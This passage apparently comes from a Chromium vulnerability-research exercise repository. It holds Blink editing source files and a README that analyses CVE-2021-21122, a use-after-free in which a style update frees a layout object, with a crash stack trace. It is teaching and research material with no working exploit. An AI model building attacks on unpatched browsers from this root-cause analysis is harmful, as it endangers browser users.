not to read text[2].
-------- ================================================ FILE: LEVEL_2/exercise_1/text_searcher_icu.cc ================================================ /* * Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2012 Apple Inc. All * rights reserved. * Copyright (C) 2005 Alexey Proskuryakov. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "third_party/blink/renderer/core/editing/iterators/text_searcher_icu.h" #include #include "base/macros.h" #include "third_party/blink/renderer/platform/text/character.h" #include "third_party/blink/renderer/platform/text/text_boundaries.h" #include "third_party/blink/renderer/platform/text/text_break_iterator_internal_icu.h" #include "third_party/blink/renderer/platform/text/unicode_utilities.h" #include "third_party/blink/renderer/platform/wtf/allocator/allocator.h" #include "third_party/blink/renderer/platform/wtf/text/character_names.h" #include "third_party/blink/renderer/platform/wtf/text/wtf_string.h" namespace blink { namespace { UStringSearch* CreateSearcher() { // Provide a non-empty pattern and non-empty text so usearch_open will not // fail, but it doesn't matter exactly what it is, since we don't perform any // searches without setting both the pattern and the text. UErrorCode status = U_ZERO_ERROR; String search_collator_name = CurrentSearchLocaleID() + String("@collation=search"); UStringSearch* searcher = usearch_open(&kNewlineCharacter, 1, &kNewlineCharacter, 1, search_collator_name.Utf8().c_str(), nullptr, &status); DCHECK(status == U_ZERO_ERROR || status == U_USING_FALLBACK_WARNING || status == U_USING_DEFAULT_WARNING) << status; return searcher; } class ICULockableSearcher { STACK_ALLOCATED(); public: static UStringSearch* AcquireSearcher() { Instance().lock(); return Instance().searcher_; } static void ReleaseSearcher() { Instance().unlock(); } private: static ICULockableSearcher& Instance() { static ICULockableSearcher searcher(CreateSearcher()); return searcher; } explicit ICULockableSearcher(UStringSearch* searcher) : searcher_(searcher) {} void lock() { #if DCHECK_IS_ON() DCHECK(!locked_); locked_ = true; #endif } void unlock() { #if DCHECK_IS_ON() DCHECK(locked_); locked_ = false; #endif } UStringSearch* const searcher_ = nullptr; #if DCHECK_IS_ON() bool locked_ = false; #endif DISALLOW_COPY_AND_ASSIGN(ICULockableSearcher); }; } // namespace static bool IsWholeWordMatch(const UChar* text, int text_length, MatchResultICU& result) { DCHECK_LE((int)(result.start + result.length), text_length); UChar32 first_character; U16_GET(text, 0, result.start, result.length, first_character); // Chinese and Japanese lack word boundary marks, and there is no clear // agreement on what constitutes a word, so treat the position before any CJK // character as a word start. if (Character::IsCJKIdeographOrSymbol(first_character)) return true; wtf_size_t word_break_search_start = result.start + result.length; while (word_break_search_start > result.start) { word_break_search_start = FindNextWordBackward(text, text_length, word_break_search_start); } if (word_break_search_start != result.start) return false; return static_cast(result.start + result.length) == FindWordEndBoundary(text, text_length, word_break_search_start); } // Grab the single global searcher. // If we ever have a reason to do more than once search buffer at once, we'll // have to move to multiple searchers. TextSearcherICU::TextSearcherICU() : searcher_(ICULockableSearcher::AcquireSearcher()) {} TextSearcherICU::~TextSearcherICU() { // Leave the static object pointing to valid strings (pattern=target, // text=buffer). Otheriwse, usearch_reset() will results in 'use-after-free' // error. SetPattern(&kNewlineCharacter, 1); SetText(&kNewlineCharacter, 1); ICULockableSearcher::ReleaseSearcher(); } void TextSearcherICU::SetPattern(const StringView& pattern, FindOptions options) { DCHECK_GT(pattern.length(), 0u); options_ = options; SetCaseSensitivity(!(options & kCaseInsensitive)); SetPattern(pattern.Characters16(), pattern.length()); if (ContainsKanaLetters(pattern.ToString())) { NormalizeCharactersIntoNFCForm(pattern.Characters16(), pattern.length(), normalized_search_text_); } } void TextSearcherICU::SetText(const UChar* text, wtf_size_t length) { UErrorCode status = U_ZERO_ERROR; usearch_setText(searcher_, text, length, &status); DCHECK_EQ(status, U_ZERO_ERROR); text_length_ = length; } void TextSearcherICU::SetOffset(wtf_size_t offset) { UErrorCode status = U_ZERO_ERROR; usearch_setOffset(searcher_, offset, &status); DCHECK_EQ(status, U_ZERO_ERROR); } bool TextSearcherICU::NextMatchResult(MatchResultICU& result) { while (NextMatchResultInternal(result)) { if (!ShouldSkipCurrentMatch(result)) return true; } return false; } bool TextSearcherICU::NextMatchResultInternal(MatchResultICU& result) { UErrorCode status = U_ZERO_ERROR; const int match_start = usearch_next(searcher_, &status); DCHECK_EQ(status, U_ZERO_ERROR); // TODO(iceman): It is possible to use |usearch_getText| function // to retrieve text length and not store it explicitly. if (!(match_start >= 0 && static_cast(match_start) < text_length_)) { DCHECK_EQ(match_start, USEARCH_DONE); result.start = 0; result.length = 0; return false; } result.start = static_cast(match_start); result.length = usearch_getMatchedLength(searcher_); // Might be possible to get zero-length result with some Unicode characters // that shouldn't actually match but is matched by ICU such as \u0080. if (result.length == 0u) { result.start = 0; return false; } return true; } bool TextSearcherICU::ShouldSkipCurrentMatch(MatchResultICU& result) const { int32_t text_length; const UChar* text = usearch_getText(searcher_, &text_length); DCHECK_LE((int32_t)(result.start + result.length), text_length); DCHECK_GT(result.length, 0u); if (!normalized_search_text_.IsEmpty() && !IsCorrectKanaMatch(text, result)) return true; if ((options_ & kWholeWord) && !IsWholeWordMatch(text, text_length, result)) return true; return false; } bool TextSearcherICU::IsCorrectKanaMatch(const UChar* text, MatchResultICU& result) const { Vector normalized_match; NormalizeCharactersIntoNFCForm(text + result.start, result.length, normalized_match); return CheckOnlyKanaLettersInStrings( normalized_search_text_.data(), normalized_search_text_.size(), normalized_match.begin(), normalized_match.size()); } void TextSearcherICU::SetPattern(const UChar* pattern, wtf_size_t length) { UErrorCode status = U_ZERO_ERROR; usearch_setPattern(searcher_, pattern, length, &status); DCHECK_EQ(status, U_ZERO_ERROR); } void TextSearcherICU::SetCaseSensitivity(bool case_sensitive) { const UCollationStrength strength = case_sensitive ? UCOL_TERTIARY : UCOL_PRIMARY; UCollator* const collator = usearch_getCollator(searcher_); if (ucol_getStrength(collator) == strength) return; ucol_setStrength(collator, strength); usearch_reset(searcher_); } } // namespace blink ================================================ FILE: LEVEL_2/exercise_2/README.md ================================================ # Exercise 2 In LEVEL 1, we can relay on Details and just to search for the func which Details mentioned. It is far away from the real bug hunting scene. therefore in LEVEL 2 we do the same as LEVEL 1 without the help of Details. ## CVE-2021-21122 I sugget you don't search any report about it to prevents get too much info like patch. ### Details In level 2, we do it without the help of Details ---------
For more info click me! But you'd better not do this https://bugs.chromium.org/p/chromium/issues/detail?id=1162131#c13
-------- ### Set environment after you fetch chromium ```sh git reset --hard 978994829edb17b9583ab7a6a8b001a5b9dab04e ``` ### Related code [src/third_party/blink/renderer/core/editing/visible_units.cc](https://source.chromium.org/chromium/chromium/src/+/978994829edb17b9583ab7a6a8b001a5b9dab04e:third_party/blink/renderer/core/editing/visible_units.cc) You'd better read some introduce for [DOM](https://chromium.googlesource.com/chromium/src/+/8689d5f68d3ce081fb0b81230a4f316c03221418/third_party/blink/renderer/core/dom/#dom) and [layout](https://chromium.googlesource.com/chromium/src/+/8689d5f68d3ce081fb0b81230a4f316c03221418/third_party/blink/renderer/core/layout/#blink-layout) in chrome tips: CanContainRange[xxxxxxxx]() is virtual func, you can find all its def carefully for the true one. ### Do it Do this exercise by yourself, If you find my answer have something wrong, please correct it. ---------
My answer At first, I analysis the [patched file](https://source.chromium.org/chromium/chromium/src/+/978994829edb17b9583ab7a6a8b001a5b9dab04e:third_party/blink/renderer/core/layout/hit_test_result.cc), but have no idea about the bug, so I see more about this cve at issue website. I notice that it was found by [Grammarinator fuzzer](https://github.com/renatahodovan/grammarinator), and when I want to use this fuzzer to continue this analysis, the usage can't run properly at my local. I don't make much time on environment or it's usage, because I don't think I can do the same as the author of this fuzzer in just two days :/ Some bug found by fuzzer are difficult to find by analysis the source files, so I want continue this work with the help of break trace which author [pasted](https://bugs.chromium.org/p/chromium/issues/detail?id=1162131). I decide to analysis these func from top to bottom, the first ```c++ bool EndsOfNodeAreVisuallyDistinctPositions(const Node* node) { if (!node) return false; LayoutObject* layout_object = node->GetLayoutObject(); if (!layout_object) return false; if (!layout_object->IsInline()) return true; // Don't include inline tables. if (IsA(*node)) return false; // A Marquee elements are moving so we should assume their ends are always // visibily distinct. if (IsA(*node)) return true; // There is a VisiblePosition inside an empty inline-block container. return layout_object->IsAtomicInlineLevel() && CanHaveChildrenForEditing(node) && !To(layout_object)->Size().IsEmpty() && [1] !HasRenderedNonAnonymousDescendantsWithHeight(layout_object); } ``` We can know [1] trigger the uaf from break trace. So the `layout_object` can be free before call [1]. `layout_object->IsAtomicInlineLevel()` seems like just a judgement, so we can analysis `CanHaveChildrenForEditing(node)`. Because `layout_object` get from `node`, so `layout_object` can be deleted by `node`. ```c++ inline bool CanHaveChildrenForEditing(const Node* node) { return !node->IsTextNode() && node->CanContainRangeEndPoint(); } ``` `node->CanContainRangeEndPoint()` is a virtual func which can be override. At first I ignore this point and just notice this func return false... ```c++ bool HTMLMeterElement::CanContainRangeEndPoint() const { GetDocument().UpdateStyleAndLayoutTreeForNode(this); [2] return GetComputedStyle() && !GetComputedStyle()->HasEffectiveAppearance(); } ``` Notice this UpdateStyle, I guess it can delete object. ```c++ void Document::UpdateStyleAndLayoutTreeForNode(const Node* node) { [ ... ] DisplayLockUtilities::ScopedForcedUpdate scoped_update_forced(node); UpdateStyleAndLayoutTree(); [3] } ``` in [3] and later will call delete, we can get this by call tree. ```shell #1 0x563e4438c880 in Free base/allocator/partition_allocator/partition_root.h:673 #2 0x563e4438c880 in operator delete third_party/blink/renderer/core/layout/layout_object.cc:240 [4] #3 0x563e443c643f in blink::LayoutObject::Destroy() third_party/blink/renderer/core/layout/layout_object.cc:3826 #4 0x563e443c6169 in blink::LayoutObject::DestroyAndCleanupAnonymousWrappers() layout_object.cc:? #5 0x563e42da53d3 in blink::Node::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/node.cc:1714 #6 0x563e42c3b542 in blink::Element::DetachLayoutTree(bool) element.cc:? #7 0x563e42a818bd in blink::ContainerNode::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/container_node.cc:1014 #8 0x563e42c3b534 in blink::Element::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/element.cc:2807 #9 0x563e42a818bd in blink::ContainerNode::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/container_node.cc:1014 #10 0x563e42c3b534 in blink::Element::DetachLayoutTree(bool) third_party/blink/renderer/core/dom/element.cc:2807 #11 0x563e42da4968 in blink::Node::ReattachLayoutTree(blink::Node::AttachContext&) third_party/blink/renderer/core/dom/node.cc:1679 #12 0x563e42c43106 in blink::Element::RebuildLayoutTree(blink::WhitespaceAttacher&) third_party/blink/renderer/core/dom/element.cc:3163 #13 0x563e42a8660a in blink::ContainerNode::RebuildLayoutTreeForChild(blink::Node*, blink::WhitespaceAttacher&) third_party/blink/renderer/core/dom/container_node.cc:1378 #14 0x563e42a869ca in blink::ContainerNode::RebuildChildrenLayoutTrees(blink::WhitespaceAttacher&) third_party/blink/renderer/core/dom/container_node.cc:1403 #15 0x563e42c43428 in blink::Element::RebuildLayoutTree(blink::WhitespaceAttacher&) third_party/blink/renderer/core/dom/element.cc:3192 #16 0x563e4293af00 in blink::StyleEngine::RebuildLayoutTree() third_party/blink/renderer/core/css/style_engine.cc:2071 #17 0x563e4293c4d7 in blink::StyleEngine::UpdateStyleAndLayoutTree() third_party/blink/renderer/core/css/style_engine.cc:2110 #18 0x563e42aee703 in blink::Document::UpdateStyle() third_party/blink/renderer/core/dom/document.cc:2540 #19 0x563e42ade9f6 in blink::Document::UpdateStyleAndLayoutTree() third_party/blink/renderer/core/dom/document.cc:2493 #20 0x563e42af049b in blink::Document::UpdateStyleAndLayoutTreeForNode(blink::Node const*) [5] ``` [5] is the func we mentioned above. [4] delete object and we can delete layout_object there by set content-visibility to hidden. So in `EndsOfNodeAreVisuallyDistinctPositions` after `CanHaveChildrenForEditing(node)` will trigger uaf
-------- ================================================ FILE: LEVEL_2/exercise_2/visible_units.cc ================================================ /* * Copyright (C) 2004, 2005, 2006, 2007, 2008, 2009 Apple Inc. All rights * reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "third_party/blink/renderer/core/editing/visible_units.h" #include "third_party/blink/renderer/core/display_lock/display_lock_utilities.h" #include "third_party/blink/renderer/core/dom/document.h" #include "third_party/blink/renderer/core/dom/element.h" #include "third_party/blink/renderer/core/dom/first_letter_pseudo_element.h" #include "third_party/blink/renderer/core/dom/node_traversal.h" #include "third_party/blink/renderer/core/dom/text.h" #include "third_party/blink/renderer/core/editing/editing_utilities.h" #include "third_party/blink/renderer/core/editing/ephemeral_range.h" #include "third_party/blink/renderer/core/editing/frame_selection.h" #include "third_party/blink/renderer/core/editing/iterators/character_iterator.h" #include "third_party/blink/renderer/core/editing/local_caret_rect.h" #include "third_party/blink/renderer/core/editing/position.h" #include "third_party/blink/renderer/core/editing/position_iterator.h" #include "third_party/blink/renderer/core/editing/position_with_affinity.h" #include "third_party/blink/renderer/core/editing/selection_adjuster.h" #include "third_party/blink/renderer/core/editing/selection_template.h" #include "third_party/blink/renderer/core/editing/text_affinity.h" #include "third_party/blink/renderer/core/editing/visible_position.h" #include "third_party/blink/renderer/core/editing/visible_selection.h" #include "third_party/blink/renderer/core/frame/local_frame.h" #include "third_party/blink/renderer/core/frame/settings.h" #include "third_party/blink/renderer/core/html/forms/text_control_element.h" #include "third_party/blink/renderer/core/html/html_br_element.h" #include "third_party/blink/renderer/core/html_names.h" #include "third_party/blink/renderer/core/layout/api/line_layout_item.h" #include "third_party/blink/renderer/core/layout/hit_test_request.h" #include "third_party/blink/renderer/core/layout/hit_test_result.h" #include "third_party/blink/renderer/core/layout/layout_inline.h" #include "third_party/blink/renderer/core/layout/layout_text_fragment.h" #include "third_party/blink/renderer/core/layout/layout_view.h" #include "third_party/blink/renderer/core/layout/line/inline_iterator.h" #include "third_party/blink/renderer/core/layout/line/inline_text_box.h" #include "third_party/blink/renderer/core/layout/ng/inline/ng_inline_node_data.h" #include "third_party/blink/renderer/core/svg_element_type_helpers.h" #include "third_party/blink/renderer/platform/heap/handle.h" #include "third_party/blink/renderer/platform/text/text_boundaries.h" namespace blink { template static PositionType CanonicalizeCandidate(const PositionType& candidate) { if (candidate.IsNull()) return PositionType(); DCHECK(IsVisuallyEquivalentCandidate(candidate)); PositionType upstream = MostBackwardCaretPosition(candidate); if (IsVisuallyEquivalentCandidate(upstream)) return upstream; return candidate; } template static PositionType SnapFallbackTemplate(const PositionType& position) { // When neither upstream or downstream gets us to a candidate // (upstream/downstream won't leave blocks or enter new ones), we search // forward and backward until we find one. const PositionType& next = CanonicalizeCandidate(NextCandidate(position)); const PositionType& prev = CanonicalizeCandidate(PreviousCandidate(position)); // The new position must be in the same editable element. Enforce that // first. Unless the descent is from a non-editable html element to an // editable body. Node* const node = position.ComputeContainerNode(); if (node && node->GetDocument().documentElement() == node && !HasEditableStyle(*node) && node->GetDocument().body() && HasEditableStyle(*node->GetDocument().body())) return next.IsNotNull() ? next : prev; Element* const editing_root = RootEditableElementOf(position); // If the html element is editable, descending into its body will look like // a descent from non-editable to editable content since // |rootEditableElementOf()| always stops at the body. if ((editing_root && editing_root->GetDocument().documentElement() == editing_root) || position.AnchorNode()->IsDocumentNode()) return next.IsNotNull() ? next : prev; Node* const next_node = next.AnchorNode(); Node* const prev_node = prev.AnchorNode(); const bool prev_is_in_same_editable_element = prev_node && RootEditableElementOf(prev) == editing_root; const bool next_is_in_same_editable_element = next_node && RootEditableElementOf(next) == editing_root; if (prev_is_in_same_editable_element && !next_is_in_same_editable_element) return prev; if (next_is_in_same_editable_element && !prev_is_in_same_editable_element) return next; if (!next_is_in_same_editable_element && !prev_is_in_same_editable_element) return PositionType(); // The new position should be in the same block flow element. Favor that. Element* const original_block = node ? EnclosingBlockFlowElement(*node) : nullptr; const bool next_is_outside_original_block = !next_node->IsDescendantOf(original_block) && next_node != original_block; const bool prev_is_outside_original_block = !prev_node->IsDescendantOf(original_block) && prev_node != original_block; if (next_is_outside_original_block && !prev_is_outside_original_block) return prev; return next; } template static PositionWithAffinityTemplate SnapBackwardTemplate( const PositionTemplate& position) { // Sometimes updating selection positions can be extremely expensive and // occur frequently. Often calling preventDefault on mousedown events can // avoid doing unnecessary text selection work. http://crbug.com/472258. TRACE_EVENT0("input", "VisibleUnits::SnapBackward"); if (position.IsNull()) return PositionWithAffinityTemplate(); DCHECK(position.GetDocument()); DCHECK(!position.GetDocument()->NeedsLayoutTreeUpdate()); const PositionTemplate& candidate1 = MostBackwardCaretPosition(position); if (IsVisuallyEquivalentCandidate(candidate1)) { return PositionWithAffinityTemplate(candidate1, TextAffinity::kUpstream); } const PositionTemplate& candidate2 = MostForwardCaretPosition(position); if (IsVisuallyEquivalentCandidate(candidate2)) { return PositionWithAffinityTemplate(candidate2, TextAffinity::kDownstream); } return PositionWithAffinityTemplate(SnapFallbackTemplate(position), TextAffinity::kDownstream); } PositionWithAffinity SnapBackward(const Position& position) { return SnapBackwardTemplate(position); } PositionInFlatTreeWithAffinity SnapBackward( const PositionInFlatTree& position) { return SnapBackwardTemplate(position); } template static PositionWithAffinityTemplate SnapForwardTemplate( const PositionTemplate& position) { // Sometimes updating selection positions can be extremely expensive and // occur frequently. Often calling preventDefault on mousedown events can // avoid doing unnecessary text selection work. http://crbug.com/472258. TRACE_EVENT0("input", "VisibleUnits::SnapForward"); if (position.IsNull()) return PositionWithAffinityTemplate(); DCHECK(position.GetDocument()); DCHECK(!position.GetDocument()->NeedsLayoutTreeUpdate()); const PositionTemplate& candidate1 = MostForwardCaretPosition(position); if (IsVisuallyEquivalentCandidate(candidate1)) { return PositionWithAffinityTemplate(candidate1, TextAffinity::kDownstream); } const PositionTemplate& candidate2 = MostBackwardCaretPosition(position); if (IsVisuallyEquivalentCandidate(candidate2)) { return PositionWithAffinityTemplate(candidate2, TextAffinity::kDownstream); } return PositionWithAffinityTemplate(SnapFallbackTemplate(position), TextAffinity::kDownstream); } PositionWithAffinity SnapForward(const Position& position) { return SnapForwardTemplate(position); } PositionInFlatTreeWithAffinity SnapForward(const PositionInFlatTree& position) { return SnapForwardTemplate(position); } Position CanonicalPositionOf(const Position& position) { return SnapBackward(position).GetPosition(); } PositionInFlatTree CanonicalPositionOf(const PositionInFlatTree& position) { return SnapBackward(position).GetPosition(); } template static PositionWithAffinityTemplate AdjustBackwardPositionToAvoidCrossingEditingBoundariesTemplate( const PositionWithAffinityTemplate& pos, const PositionTemplate& anchor) { if (pos.IsNull()) return pos; ContainerNode* highest_root = HighestEditableRoot(anchor); // Return empty position if |pos| is not somewhere inside the editable // region containing this position if (highest_root && !pos.AnchorNode()->IsDescendantOf(highest_root)) return PositionWithAffinityTemplate(); // Return |pos| itself if the two are from the very same editable region, or // both are non-editable // TODO(yosin) In the non-editable case, just because the new position is // non-editable doesn't mean movement to it is allowed. // |VisibleSelection::adjustForEditableContent()| has this problem too. if (HighestEditableRoot(pos.GetPosition()) == highest_root) return pos; // Return empty position if this position is non-editable, but |pos| is // editable. // TODO(yosin) Move to the previous non-editable region. if (!highest_root) return PositionWithAffinityTemplate(); // Return the last position before |pos| that is in the same editable region // as this position return PositionWithAffinityTemplate( LastEditablePositionBeforePositionInRoot(pos.GetPosition(), *highest_root)); } PositionWithAffinity AdjustBackwardPositionToAvoidCrossingEditingBoundaries( const PositionWithAffinity& pos, const Position& anchor) { return AdjustBackwardPositionToAvoidCrossingEditingBoundariesTemplate(pos, anchor); } PositionInFlatTreeWithAffinity AdjustBackwardPositionToAvoidCrossingEditingBoundaries( const PositionInFlatTreeWithAffinity& pos, const PositionInFlatTree& anchor) { return AdjustBackwardPositionToAvoidCrossingEditingBoundariesTemplate(pos, anchor); } template static PositionWithAffinityTemplate AdjustForwardPositionToAvoidCrossingEditingBoundariesTemplate( const PositionWithAffinityTemplate& pos, const PositionTemplate& anchor) { if (pos.IsNull()) return pos; ContainerNode* highest_root = HighestEditableRoot(anchor); // Return empty position if |pos| is not somewhere inside the editable // region containing this position if (highest_root && !pos.AnchorNode()->IsDescendantOf(highest_root)) return PositionWithAffinityTemplate(); // Return |pos| itself if the two are from the very same editable region, or // both are non-editable // TODO(yosin) In the non-editable case, just because the new position is // non-editable doesn't mean movement to it is allowed. // |VisibleSelection::adjustForEditableContent()| has this problem too. if (HighestEditableRoot(pos.GetPosition()) == highest_root) return pos; // Returns the last position in the highest non-editable ancestor of |anchor|. if (!highest_root) { const Node* last_non_editable = anchor.ComputeContainerNode(); for (const Node& ancestor : Strategy::AncestorsOf(*last_non_editable)) { if (HasEditableStyle(ancestor)) { return PositionWithAffinityTemplate( PositionTemplate::LastPositionInNode(*last_non_editable)); } last_non_editable = &ancestor; } return PositionWithAffinityTemplate(); } // Return the next position after |pos| that is in the same editable region // as this position return PositionWithAffinityTemplate( FirstEditablePositionAfterPositionInRoot(pos.GetPosition(), *highest_root)); } PositionWithAffinity AdjustForwardPositionToAvoidCrossingEditingBoundaries( const PositionWithAffinity& pos, const Position& anchor) { return AdjustForwardPositionToAvoidCrossingEditingBoundariesTemplate(pos, anchor); } PositionInFlatTreeWithAffinity AdjustForwardPositionToAvoidCrossingEditingBoundaries( const PositionInFlatTreeWithAffinity& pos, const PositionInFlatTree& anchor) { return AdjustForwardPositionToAvoidCrossingEditingBoundariesTemplate( PositionInFlatTreeWithAffinity(pos), anchor); } template static ContainerNode* NonShadowBoundaryParentNode(Node* node) { ContainerNode* parent = Strategy::Parent(*node); return parent && !parent->IsShadowRoot() ? parent : nullptr; } template static Node* ParentEditingBoundary(const PositionTemplate& position) { Node* const anchor_node = position.AnchorNode(); if (!anchor_node) return nullptr; Node* document_element = anchor_node->GetDocument().documentElement(); if (!document_element) return nullptr; Node* boundary = position.ComputeContainerNode(); while (boundary != document_element && NonShadowBoundaryParentNode(boundary) && HasEditableStyle(*anchor_node) == HasEditableStyle(*Strategy::Parent(*boundary))) boundary = NonShadowBoundaryParentNode(boundary); return boundary; } // --------- template static PositionTemplate StartOfDocumentAlgorithm( const PositionTemplate& position) { const Node* const node = position.AnchorNode(); if (!node || !node->GetDocument().documentElement()) return PositionTemplate(); return PositionTemplate::FirstPositionInNode( *node->GetDocument().documentElement()); } Position StartOfDocument(const Position& c) { return StartOfDocumentAlgorithm(c); } PositionInFlatTree StartOfDocument(const PositionInFlatTree& c) { return StartOfDocumentAlgorithm(c); } template static VisiblePositionTemplate EndOfDocumentAlgorithm( const VisiblePositionTemplate& visible_position) { DCHECK(visible_position.IsValid()) << visible_position; Node* node = visible_position.DeepEquivalent().AnchorNode(); if (!node || !node->GetDocument().documentElement()) return VisiblePositionTemplate(); Element* doc = node->GetDocument().documentElement(); return CreateVisiblePosition( PositionTemplate::LastPositionInNode(*doc)); } VisiblePosition EndOfDocument(const VisiblePosition& c) { return EndOfDocumentAlgorithm(c); } VisiblePositionInFlatTree EndOfDocument(const VisiblePositionInFlatTree& c) { return EndOfDocumentAlgorithm(c); } bool IsStartOfDocument(const VisiblePosition& p) { DCHECK(p.IsValid()) << p; return p.IsNotNull() && PreviousPositionOf(p, kCanCrossEditingBoundary).IsNull(); } bool IsEndOfDocument(const VisiblePosition& p) { DCHECK(p.IsValid()) << p; return p.IsNotNull() && NextPositionOf(p, kCanCrossEditingBoundary).IsNull(); } // --------- PositionInFlatTree StartOfEditableContent(const PositionInFlatTree& position) { ContainerNode* highest_root = HighestEditableRoot(position); if (!highest_root) return PositionInFlatTree(); return PositionInFlatTree::FirstPositionInNode(*highest_root); } PositionInFlatTree EndOfEditableContent(const PositionInFlatTree& position) { ContainerNode* highest_root = HighestEditableRoot(position); if (!highest_root) return PositionInFlatTree(); return PositionInFlatTree::LastPositionInNode(*highest_root); } bool IsEndOfEditableOrNonEditableContent(const VisiblePosition& position) { DCHECK(position.IsValid()) << position; return position.IsNotNull() && NextPositionOf(position).IsNull(); } // TODO(yosin) We should rename |isEndOfEditableOrNonEditableContent()| what // this function does, e.g. |isLastVisiblePositionOrEndOfInnerEditor()|. bool IsEndOfEditableOrNonEditableContent( const VisiblePositionInFlatTree& position) { DCHECK(position.IsValid()) << position; if (position.IsNull()) return false; const VisiblePositionInFlatTree next_position = NextPositionOf(position); if (next_position.IsNull()) return true; // In DOM version, following condition, the last position of inner editor // of INPUT/TEXTAREA element, by |nextPosition().isNull()|, because of // an inner editor is an only leaf node. if (!next_position.DeepEquivalent().IsAfterAnchor()) return false; return IsTextControl(next_position.DeepEquivalent().AnchorNode()); } static LayoutUnit BoundingBoxLogicalHeight(LayoutObject* o, const LayoutRect& rect) { return o->Style()->IsHorizontalWritingMode() ? rect.Height() : rect.Width(); } // TODO(editing-dev): The semantics seems wrong when we're in a one-letter block // with first-letter style, e.g.,
F
, where the letter is laid-out in // an anonymous first-letter LayoutTextFragment instead of the LayoutObject of // the text node. It seems weird to return false in this case. bool HasRenderedNonAnonymousDescendantsWithHeight( const LayoutObject* layout_object) { if (DisplayLockUtilities::NearestLockedInclusiveAncestor(*layout_object)) return false; if (auto* block_flow = DynamicTo(layout_object)) { // Returns false for empty content editable, e.g. // -
// -
// Note: tests[1][2] require this. // [1] editing/style/underline.html // [2] editing/inserting/return-with-object-element.html if (block_flow->HasNGInlineNodeData() && block_flow->GetNGInlineNodeData() ->ItemsData(false) .text_content.IsEmpty() && block_flow->HasLineIfEmpty()) return false; } const LayoutObject* stop = layout_object->NextInPreOrderAfterChildren(); // TODO(editing-dev): Avoid single-character parameter names. for (LayoutObject* o = layout_object->SlowFirstChild(); o && o != stop; o = o->NextInPreOrder()) { if (o->NonPseudoNode()) { if ((o->IsText() && To(o)->HasNonCollapsedText()) || (o->IsBox() && To(o)->PixelSnappedLogicalHeight()) || (o->IsLayoutInline() && IsEmptyInline(LineLayoutItem(o)) && // TODO(crbug.com/771398): Find alternative ways to check whether an // empty LayoutInline is rendered, without checking InlineBox. BoundingBoxLogicalHeight( o, To(o)->PhysicalLinesBoundingBox().ToLayoutRect()))) return true; } } return false; } PositionWithAffinity PositionForContentsPointRespectingEditingBoundary( const IntPoint& contents_point, LocalFrame* frame) { HitTestRequest request = HitTestRequest::kMove | HitTestRequest::kReadOnly | HitTestRequest::kActive | HitTestRequest::kIgnoreClipping | HitTestRequest::kRetargetForInert; HitTestLocation location(contents_point); HitTestResult result(request, location); frame->GetDocument()->GetLayoutView()->HitTest(location, result); if (result.InnerNode()) { return PositionRespectingEditingBoundary( frame->Selection().ComputeVisibleSelectionInDOMTreeDeprecated().Start(), result); } return PositionWithAffinity(); } // TODO(yosin): We should use |AssociatedLayoutObjectOf()| in "visible_units.cc" // where it takes |LayoutObject| from |Position|. int CaretMinOffset(const Node* node) { const LayoutObject* layout_object = AssociatedLayoutObjectOf(*node, 0); if (const LayoutText* layout_text = DynamicTo(layout_object)) return layout_text->CaretMinOffset(); return 0; } int CaretMaxOffset(const Node* n) { return EditingStrategy::CaretMaxOffset(*n); } template static bool InRenderedText(const PositionTemplate& position) { Node* const anchor_node = position.AnchorNode(); if (!anchor_node || !anchor_node->IsTextNode()) return false; const int offset_in_node = position.ComputeEditingOffset(); const LayoutObject* layout_object = AssociatedLayoutObjectOf(*anchor_node, offset_in_node); if (!layout_object) return false; const auto* text_layout_object = To(layout_object); const int text_offset = offset_in_node - text_layout_object->TextStartOffset(); if (!text_layout_object->ContainsCaretOffset(text_offset)) return false; // Return false for offsets inside composed characters. // TODO(editing-dev): 